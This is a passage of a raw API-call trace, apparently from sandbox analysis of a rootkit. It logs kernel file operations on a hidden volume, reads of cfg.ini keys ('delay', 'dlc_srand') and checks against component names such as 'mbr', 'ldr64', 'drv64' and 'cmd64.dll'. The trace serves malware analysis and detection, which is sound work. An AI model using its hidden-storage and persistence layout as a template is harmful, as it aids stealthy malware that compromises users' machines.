[0129.481] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.481] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.481] KeLeaveCriticalRegion () [0129.481] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.481] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.481] KeEnterCriticalRegion () [0129.481] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.481] ExFreePoolWithTag (P=0xfffffa8003c03230, Tag=0x0) [0129.481] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.481] KeLeaveCriticalRegion () [0129.481] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.481] ReleaseMutex (hMutex=0xf0) returned 1 [0129.481] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.481] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.481] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.481] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.481] KeEnterCriticalRegion () [0129.481] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.481] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.481] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.481] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.481] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.481] IdePortDispatch () returned 0x103 [0129.481] KeWaitForMutexObject () returned 0x0 [0129.481] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.481] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.481] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.481] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.481] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.481] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.481] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.481] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.481] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.482] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.482] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.482] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.482] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.482] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.482] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.482] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.482] KeLeaveCriticalRegion () [0129.482] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.482] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.482] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.482] KeEnterCriticalRegion () [0129.482] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.482] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.482] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.482] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.482] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.482] IdePortDispatch () returned 0x103 [0129.482] KeWaitForMutexObject () returned 0x0 [0129.482] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.482] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.482] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.482] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.482] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.482] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.482] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.482] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.482] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.482] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.482] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.482] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.482] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.482] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.482] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.482] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.482] KeLeaveCriticalRegion () [0129.482] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.483] ReleaseMutex (hMutex=0x100) returned 1 [0129.483] Sleep (dwMilliseconds=0x2bf20) [0129.490] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70618db0, dwHighDateTime=0x1d24fa4)) [0129.490] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.490] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.490] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.490] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.490] KeEnterCriticalRegion () [0129.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.490] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.490] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.490] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.490] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.490] IdePortDispatch () returned 0x103 [0129.490] KeWaitForMutexObject () returned 0x0 [0129.490] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.490] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.490] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.490] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.490] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.490] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e1f60 [0129.490] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.490] KeLeaveCriticalRegion () [0129.490] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.490] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.490] KeEnterCriticalRegion () [0129.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.490] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.490] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.490] KeLeaveCriticalRegion () [0129.490] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.490] KeEnterCriticalRegion () [0129.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.491] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.491] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.491] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.491] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.491] IdePortDispatch () returned 0x103 [0129.491] KeWaitForMutexObject () returned 0x0 [0129.491] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.491] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.491] KeLeaveCriticalRegion () [0129.491] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.491] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.491] KeEnterCriticalRegion () [0129.491] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.491] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bff000 [0129.491] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.491] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.491] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.491] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.491] IdePortDispatch () returned 0x103 [0129.491] KeWaitForMutexObject () returned 0x0 [0129.491] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.491] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.491] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.491] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.491] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.491] IdePortDispatch () returned 0x103 [0129.492] KeWaitForMutexObject () returned 0x0 [0129.492] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.492] KeLeaveCriticalRegion () [0129.492] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.492] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.492] KeEnterCriticalRegion () [0129.492] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.492] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.492] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.492] KeLeaveCriticalRegion () [0129.492] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.492] KeEnterCriticalRegion () [0129.492] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.492] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.492] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.492] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.492] KeLeaveCriticalRegion () [0129.493] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.493] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.493] KeEnterCriticalRegion () [0129.493] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.493] ExFreePoolWithTag (P=0xfffffa80037e1f60, Tag=0x0) [0129.493] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.493] KeLeaveCriticalRegion () [0129.493] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.493] ReleaseMutex (hMutex=0xf0) returned 1 [0129.493] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.493] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.493] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.493] KeEnterCriticalRegion () [0129.493] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.493] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.493] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.493] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.493] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.493] IdePortDispatch () returned 0x103 [0129.493] KeWaitForMutexObject () returned 0x0 [0129.493] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.493] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.493] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.493] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.493] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.493] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c04010 [0129.493] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.493] KeLeaveCriticalRegion () [0129.493] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.493] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.493] KeEnterCriticalRegion () [0129.494] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.494] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.494] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.494] KeLeaveCriticalRegion () [0129.494] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.494] KeEnterCriticalRegion () [0129.494] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.494] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.494] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.494] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.494] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.494] IdePortDispatch () returned 0x103 [0129.494] KeWaitForMutexObject () returned 0x0 [0129.494] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.494] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.494] KeLeaveCriticalRegion () [0129.494] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.494] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.494] KeEnterCriticalRegion () [0129.494] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.494] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c00000 [0129.494] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.494] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.494] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.494] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.494] IdePortDispatch () returned 0x103 [0129.494] KeWaitForMutexObject () returned 0x0 [0129.495] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.495] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.495] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.495] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.495] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.495] IdePortDispatch () returned 0x103 [0129.495] KeWaitForMutexObject () returned 0x0 [0129.495] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.495] KeLeaveCriticalRegion () [0129.495] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.495] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.495] KeEnterCriticalRegion () [0129.495] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.495] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.495] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.495] KeLeaveCriticalRegion () [0129.496] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.496] KeEnterCriticalRegion () [0129.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.496] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.496] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c04350, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.496] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.496] KeLeaveCriticalRegion () [0129.496] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.496] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.496] KeEnterCriticalRegion () [0129.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.496] ExFreePoolWithTag (P=0xfffffa8003c04010, Tag=0x0) [0129.496] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.496] KeLeaveCriticalRegion () [0129.496] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.496] ReleaseMutex (hMutex=0xf0) returned 1 [0129.496] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.496] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.496] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.496] KeEnterCriticalRegion () [0129.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.496] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.496] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.496] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.496] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.496] IdePortDispatch () returned 0x103 [0129.496] KeWaitForMutexObject () returned 0x0 [0129.496] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.496] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.496] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.496] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.497] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.497] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c045f0 [0129.497] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.497] KeLeaveCriticalRegion () [0129.497] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.497] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.497] KeEnterCriticalRegion () [0129.497] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.497] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.497] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.497] KeLeaveCriticalRegion () [0129.497] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.497] KeEnterCriticalRegion () [0129.497] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.497] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.497] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.497] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.497] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.497] IdePortDispatch () returned 0x103 [0129.497] KeWaitForMutexObject () returned 0x0 [0129.497] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.497] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.497] 